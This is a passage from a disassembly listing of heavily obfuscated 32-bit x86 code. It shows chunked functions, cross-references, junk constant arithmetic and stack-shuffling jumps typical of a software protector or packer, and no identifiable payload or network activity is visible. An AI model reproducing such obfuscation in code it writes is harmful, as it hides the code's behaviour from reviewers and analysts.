loc_5A4BF9:				; CODE XREF: sub_59A7E7+C089j
		mov	ch, 84h
		not	ch
		or	ch, 3Fh
		jmp	loc_5A9AE3
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F3B6


loc_5A4C05:				; CODE XREF: sub_59F3B6+CF55j
		xchg	edi, [esp+4+var_4]
		pop	esp
		push	esi
		mov	esi, 1D8A12C6h
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		not	esi
		xor	esi, 57B836AEh
		xor	ebx, esi
		pop	esi
		inc	ebx
		add	ebx, 6CF924EDh
		push	4B6Dh
		mov	[esp+4+var_4], ecx
		mov	ecx, 14703D70h
		or	ebx, ecx
		pop	ecx
		xor	ebx, 9FFC7D7Ah
		add	esi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 2
		jmp	loc_599392
; END OF FUNCTION CHUNK	FOR sub_59F3B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A4C53:				; CODE XREF: sub_5A16B8-B26j
		mov	edx, 4
		sub	edi, 7ECD1A0Fh
		jmp	loc_59AC7A
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A4C63:				; CODE XREF: sub_59C979+8859j
		add	ebx, 58501CD7h
		jmp	loc_5AB1D1
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A4C6E:				; CODE XREF: sub_5A0924+29B0j
		mov	ebx, esp
		jmp	loc_5A8EEA
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A4C75:				; CODE XREF: sub_59EE3E+97C0j
		add	ebx, 1F06FFEAh
		add	ebx, 4BE25305h
		push	esi
		mov	esi, 21412F7Fh
		inc	esi
		jmp	loc_5AAE97
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4C8D:				; CODE XREF: sub_5AA2D1:loc_5A9296j
		or	esi, 7B9E1251h
		jnp	loc_5ACF77
		add	esi, 10012552h
		jmp	loc_59D216
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A4CA5:				; CODE XREF: sub_5AC803-B6FFj
					; sub_59C979+106FCj
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], edx
		push	eax
		sub	esp, 4
		mov	[esp+4+var_6+2], edx
		mov	dl, 6Bh
		mov	ah, 0E4h
		push	ecx
		jmp	loc_5ABB77
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A4CC5:				; CODE XREF: sub_59D18A+4D7Bj
		add	[esp+8+var_4], 6F4549A1h
		add	[esp+8+var_4], eax
		push	edi
		mov	edi, 6F4549A1h
		sub	[esp+0Ch+var_4], edi
		pop	edi
		push	ebx
		mov	ebx, 7C0D318Ch
		jmp	loc_5AFABD
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------


loc_5A4CE7:				; CODE XREF: sdfs____:005A85CDj
		push	edi
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59A2C3

; =============== S U B	R O U T	I N E =======================================



sub_5A4CF3	proc near		; CODE XREF: sub_5AF2D9-12B63j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059F39C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A18BC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4A27 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A5274 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A52CC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A54AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AAA1B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AFBB3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AFD26 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, 261E77E0h
		mov	ecx, ebp
		jmp	loc_5AAA1B
sub_5A4CF3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A4D00:				; CODE XREF: sub_59A479+113C1j
		add	esp, 4
		pop	eax
		jmp	loc_5A8184
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4D09:				; CODE XREF: sub_5AA2D1-E520j
		add	esi, 4
		push	ebp
		jmp	loc_5ABCA8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A4D15:				; CODE XREF: sub_59D6B8+8FE7j
		mov	esi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A29B2
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A4D20:				; CODE XREF: sub_5996E4+12AEFj
		xor	esi, 8BBBEB1h
		mov	ecx, esi
		jmp	loc_59F715
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4D2D:				; CODE XREF: sub_5AA2D1-42j
		xor	ebp, 3F8E4122h
		jmp	loc_5A5130
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A4D38:				; CODE XREF: sub_5A18F6+CCBDj
		push	edi
		pop	edx
		pop	edi
		add	esi, edx
		mov	edx, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		jmp	loc_5AFD5F
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5A4D55:				; CODE XREF: sub_5AFA26-154ADj
		sub	eax, ebp
		add	eax, 4CBE1F70h
		pop	ebp
		add	eax, ebp
		add	eax, 531F13C2h
		pop	ebp
		push	ebp
		mov	ebp, 2
		sub	eax, ebp
		pop	ebp
		push	5B3Eh
		jmp	loc_5AF01E
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A4D78:				; CODE XREF: sub_5A4D9D-4643j
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		jmp	loc_5AE3DB
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A4D91:				; CODE XREF: sub_5AD795+1j
		mov	ebp, 1DF80A6Dh
		push	ebp
		push	ecx
		jmp	loc_59B4C8
; END OF FUNCTION CHUNK	FOR sub_5AD795

; =============== S U B	R O U T	I N E =======================================



sub_5A4D9D	proc near		; DATA XREF: sdfs____:00598F2Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599AC1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599C5D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B59F SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059D117 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E027 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A0094 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0615 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A0757 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0D19 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0F92 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A18A7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A261B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A38EC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A3DE5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A4D78 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A805A SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005ACEC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE3DB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE907 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AF2CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AFE7C SIZE 00000016 BYTES

		mov	ax, word ptr [esp+4+var_4]
		push	6E97h
		mov	[esp+8+var_8], ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		jmp	loc_59E027
sub_5A4D9D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4DBB:				; CODE XREF: sub_5AA2D1+1C78j
		mov	eax, 3EF85A62h
		jmp	loc_5AB871
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_5A4DC5:				; CODE XREF: sub_5A600D-BDE5j
		pop	ebx
		jmp	loc_599B82
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A66A


loc_5A4DCB:				; CODE XREF: sub_59A66A+7E07j
		mov	eax, esp
		jmp	loc_5A8958
; END OF FUNCTION CHUNK	FOR sub_59A66A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAFCA


loc_5A4DD2:				; CODE XREF: sub_5AAFCA-47ACj
		add	dl, 0C4h
		add	al, 8Bh
		sub	al, dl
		sub	al, 8Bh
		mov	edx, [esp+0]
		jmp	loc_5AFAA9
; END OF FUNCTION CHUNK	FOR sub_5AAFCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4DE3:				; CODE XREF: sub_5A3261-4F8Cj
					; sub_5992DA+EE8Ej
		sub	ecx, 7D8C0548h
		add	ecx, edx
		add	ecx, 7D8C0548h
		jmp	loc_5AA705
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A4DF6:				; CODE XREF: sub_5A477C-3CA3j
		pop	edx
		jmp	loc_59C325
; END OF FUNCTION CHUNK	FOR sub_5A477C

; =============== S U B	R O U T	I N E =======================================



sub_5A4DFC	proc near		; DATA XREF: sdfs____:00598EF8o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599B14 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D785 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E93B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0F7F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A23BC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A8D6C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB6C9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AE44D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AF8E7 SIZE 0000000E BYTES

		xor	[esp+0], ah
		jmp	loc_59D785
sub_5A4DFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A4E04	proc near		; DATA XREF: sdfs____:00598F30o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A05A7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0B97 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1858 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A2D19 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3B36 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3F1B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A697C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A9FB2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AC130 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005AC5A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AC64B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD7DC SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005AE6D4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AFAC6 SIZE 0000000B BYTES

		lodsd
		sub	esp, 4
		mov	[esp+6+var_8+2], ebp
		push	esi
		push	2569h
		mov	[esp+0], ecx
		push	64A113EEh
		pop	ecx
		mov	esi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		sub	esi, 2A5E0074h
		push	ebp
		mov	ebp, 81B48C6h
		xor	esi, ebp
		push	dword ptr [esp+0]
		pop	ebp
		jmp	loc_5A3B36
sub_5A4E04	endp

; ---------------------------------------------------------------------------


loc_5A4E3F:				; CODE XREF: sdfs____:005AC646j
		push	ebx
		mov	ebx, esp
		jmp	loc_59C252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A4E47:				; CODE XREF: sub_59FC02+3CC5j
		jmp	loc_5A8C3A
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A4E4C:				; CODE XREF: sub_5A6BBC+8135j
		mov	[esp+4+var_4], edi
		jmp	loc_5ADA78
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4E54:				; CODE XREF: sub_5AA2D1-A3D4j
		sub	ebx, 0FACFB226h
		push	ebx
		jmp	loc_5AD6BD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A4E60:				; CODE XREF: sub_59A26C+161B0j
		mov	edx, 28896C63h
		xor	edx, 63CE4CE2h
		jnp	loc_5A9358
		and	edx, 39FF7BDFh
		jge	loc_5AA85A
		inc	edx
		jns	loc_59BF49
		mov	bh, cl
		mov	ch, 7Ch
; END OF FUNCTION CHUNK	FOR sub_59A26C
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4E88:				; CODE XREF: sub_5AA2D1-6872j
		add	esp, 4
		sub	bp, 5BD0h
		add	bp, ax
		add	bp, 5BD0h
		pop	eax
		mov	bx, bp
		pop	ebp
		add	word ptr [esp-14h+arg_10+2], bx
		mov	bx, word ptr [esp-14h+arg_10]
		add	esp, 2
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A4EB4:				; CODE XREF: sub_5AE29C-53DCj
		pop	eax
		mov	edx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		movzx	ecx, ax
		push	40Eh
		mov	[esp-4+arg_0], ecx
		push	3A43h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ecx
		sub	esp, 4
		mov	[esp+0], edx
		push	39846502h
		pop	edx
		jmp	loc_5AAA6D
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4EFA:				; CODE XREF: sub_5AA2D1:loc_5A001Fj
		xor	ebx, 3AE29D4Ah
		jmp	loc_5A2060
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_5A4F05:				; CODE XREF: sub_59DD36+874Ej
		sub	ebx, 554C550Ah
		add	ebx, 1330540Eh
		add	ecx, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		push	ebx
		jmp	loc_5AB924
; END OF FUNCTION CHUNK	FOR sub_59DD36

; =============== S U B	R O U T	I N E =======================================



sub_5A4F29	proc near		; DATA XREF: sdfs____:00598E68o
		mov	cx, [esp+0]
		push	edi
		mov	edi, esp
		push	ecx
		jmp	sub_5A8992
sub_5A4F29	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A041B


loc_5A4F36:				; CODE XREF: sub_5A041B+727Bj
		xor	ebp, 1844903h
		jmp	loc_5AE9EC
; END OF FUNCTION CHUNK	FOR sub_5A041B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A4F41:				; CODE XREF: sub_5A0FFF+98j
		push	[esp+1Eh+var_1E]
		mov	ebp, [esp+22h+var_22]
		add	esp, 4
		push	esi
		jmp	loc_59C548
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4F50:				; CODE XREF: sub_5AA2D1+5F67j
		push	ax
		jmp	loc_5A6A62
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A4F57:				; CODE XREF: sdfs____:005AE25Bj
		add	edi, esi
		add	edi, 316D31C8h
		add	edi, 129B0B80h
		jmp	loc_5AD145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4F6A:				; CODE XREF: sub_5AA2D1:loc_5A93DEj
		and	eax, 7E37516Dh
		jle	sub_59D5EA
		or	eax, 21351BA3h
		sub	eax, 0C4374449h
		jmp	loc_5AC258
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4F84:				; CODE XREF: sub_5992DA+2D8Fj
					; sub_599A61+D7D2j
		shr	ecx, 3
		sub	ecx, 432D7FBAh
		not	ecx
		jmp	loc_59BAF7
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A4F94:				; CODE XREF: sdfs____:005AA67Ej
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5ACE42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4FA2:				; CODE XREF: sub_5AF294-6FD5j
					; sub_5AA2D1:loc_5A9074j
		sub	ebx, 10526431h
		sub	ebx, eax
		add	ebx, 10526431h
		sub	ebx, 1CA76F30h
		pop	eax
		jmp	loc_5AA73D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A4FBC:				; CODE XREF: sub_5B01F7-D2B8j
		mov	[esp+18h+var_18], ecx
		push	[esp+18h+var_14]
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		pop	[esp+18h+var_18]
		pop	esp
		mov	dx, word ptr [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 607D3D64h
		and	ebp, 9E832B3h
		not	ebp
		push	edx
		mov	edx, 331542DEh
		jmp	loc_5A5E0E
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5A4FF2:				; CODE XREF: sub_5A81C4-D1D4j
		sub	[esp+4+var_4], 8112199h
		push	[esp+4+var_4]
		pop	ecx
		jmp	loc_5A363B
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5A5002:				; CODE XREF: sub_59B2E4+9j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 18784D0Bh
		push	edi
		mov	edi, 0E331CAEh
		jmp	loc_59A3E9
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_5A501B:				; CODE XREF: sub_5AAE5E:loc_5ACD01j
		xor	ecx, 4BCCCF90h
		mov	eax, ecx
		pop	ecx
		jmp	sub_5A06DD
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A5029:				; CODE XREF: sub_59A7E7+4E02j
		add	esp, 2
		sub	cl, ah
		pop	eax
		pop	ebx
		add	cl, ah
		sub	cl, 54h
		jmp	loc_59FAB4
; END OF FUNCTION CHUNK	FOR sub_59A7E7

; =============== S U B	R O U T	I N E =======================================



sub_5A503A	proc near		; CODE XREF: sub_59C2A6+E38Bj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C7F0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059EFCC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A0A5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A0EED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A176B SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A19C9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A214A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A21DC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A36FE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A432C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A9039 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A95DF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A973B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A989D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AC9F5 SIZE 0000000A BYTES

		push	ebx
		push	236D7FEBh
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		xor	ebx, 7ED42BB4h
		jmp	loc_5A95DF
sub_5A503A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A505A:				; CODE XREF: sub_5AE29C-59F6j
		dec	eax
		push	edi
		mov	edi, 46DF440Fh
		sub	eax, edi
		pop	edi
		sub	eax, 430E28D6h
		not	eax
		jmp	loc_5A6666
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5070:				; CODE XREF: sub_5AA2D1+221j
		pop	esp
		mov	word ptr [esp+2+var_4+2], ax
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599C9B


loc_5A507A:				; CODE XREF: sub_599C9B+2j
		mov	ebx, 72401F68h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5A1703
; END OF FUNCTION CHUNK	FOR sub_599C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5A5087:				; CODE XREF: sub_5AB207-2A35j
		xchg	edi, [esp-8+arg_4]
		pop	esp
		jmp	sub_5A9CAE
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A5090:				; CODE XREF: sub_5992DA+D54j
					; sub_5AB3DB-79CFj
		push	[esp+20h+var_22+2]
		jmp	loc_5A37CE
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A5098:				; CODE XREF: sub_5A2E41-6701j
		xor	ebx, [esp+0]
		pop	esp
		push	664Dh
		mov	[esp+0], edx
		push	eax
		push	edx
		push	ecx
		push	6FCB7557h
		mov	ecx, [esp+10h+var_10]
		jmp	sub_5AA810
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A50B4:				; CODE XREF: sub_5AC803-E5FEj
		bt	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_5A9039
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A50BF:				; CODE XREF: sub_59FC02+39j
		pop	ebp
		pop	ecx
		or	ebp, 2C7F78C0h
		add	ebp, 5ED3471Dh
		inc	ebp
		push	edx
		mov	edx, 7D2E2A82h
		push	edi
		mov	edi, 5A2F0702h
		and	edi, 6B84E5Ah
		jmp	loc_5A37DF
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A50E5:				; CODE XREF: sub_5A5EFF-3A61j
		mov	edi, 1
		add	edx, edi
		pop	edi
		xor	edx, 598F1DC7h
		jmp	loc_59BCFA
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A50F8:				; CODE XREF: sub_5AA2D1-10133j
		pop	edx
		jmp	loc_5ABD8E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_5A50FE:				; CODE XREF: sub_5A3B60-872Fj
		pop	ecx
		or	ecx, 29940583h
		jmp	loc_59E0CA
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C5C


loc_5A510A:				; CODE XREF: sub_5A8C5C-1333j
		sub	eax, 43B00C34h
		add	eax, ebx
		add	eax, 43B00C34h
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	eax, 44D92EF3h
		jmp	loc_5A799D
; END OF FUNCTION CHUNK	FOR sub_5A8C5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5127:				; CODE XREF: sub_5AA2D1-2C0Dj
		mov	word ptr [esp-0Ch+arg_8], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A5130:				; CODE XREF: sub_5AA2D1-559Ej
		sub	ecx, 750116DBh
		jmp	loc_59BAB5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A513B:				; CODE XREF: sdfs____:005A35C5j
		push	esi
		jmp	loc_59DA02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A5141:				; CODE XREF: sub_5A2E41+3181j
		jmp	loc_5AA7DF
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5146:				; CODE XREF: sub_5AA2D1-4629j
		push	esi
		mov	esi, 10F64236h
		sub	[esp+1Ch+var_14], esi
		jmp	loc_5A1976
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A5155:				; CODE XREF: sub_5A477C+A5DAj
		pop	ecx
		sub	eax, 58500645h
		add	eax, ebp
		add	eax, 58500645h
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_59C767
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A5176:				; CODE XREF: sub_59C979+12BAj
		add	esp, 2
		push	cx
		push	bx
		mov	bh, 6Bh
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		pop	bx
		jmp	loc_5A7B85
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A518C:				; CODE XREF: sub_5992DA+15FABj
		add	ebx, ebp
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		jmp	sub_5A7028
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_5A5199:				; CODE XREF: sub_5AA5F6-4DD7j
		not	al
		jmp	loc_5A2C47
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0278


loc_5A51A0:				; CODE XREF: sub_5A0278+1j
		mov	ebx, 69012CA1h
		add	ebx, 92A676BFh
		sub	eax, 4F13055Eh
		jmp	loc_5A4B3F
; END OF FUNCTION CHUNK	FOR sub_5A0278
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


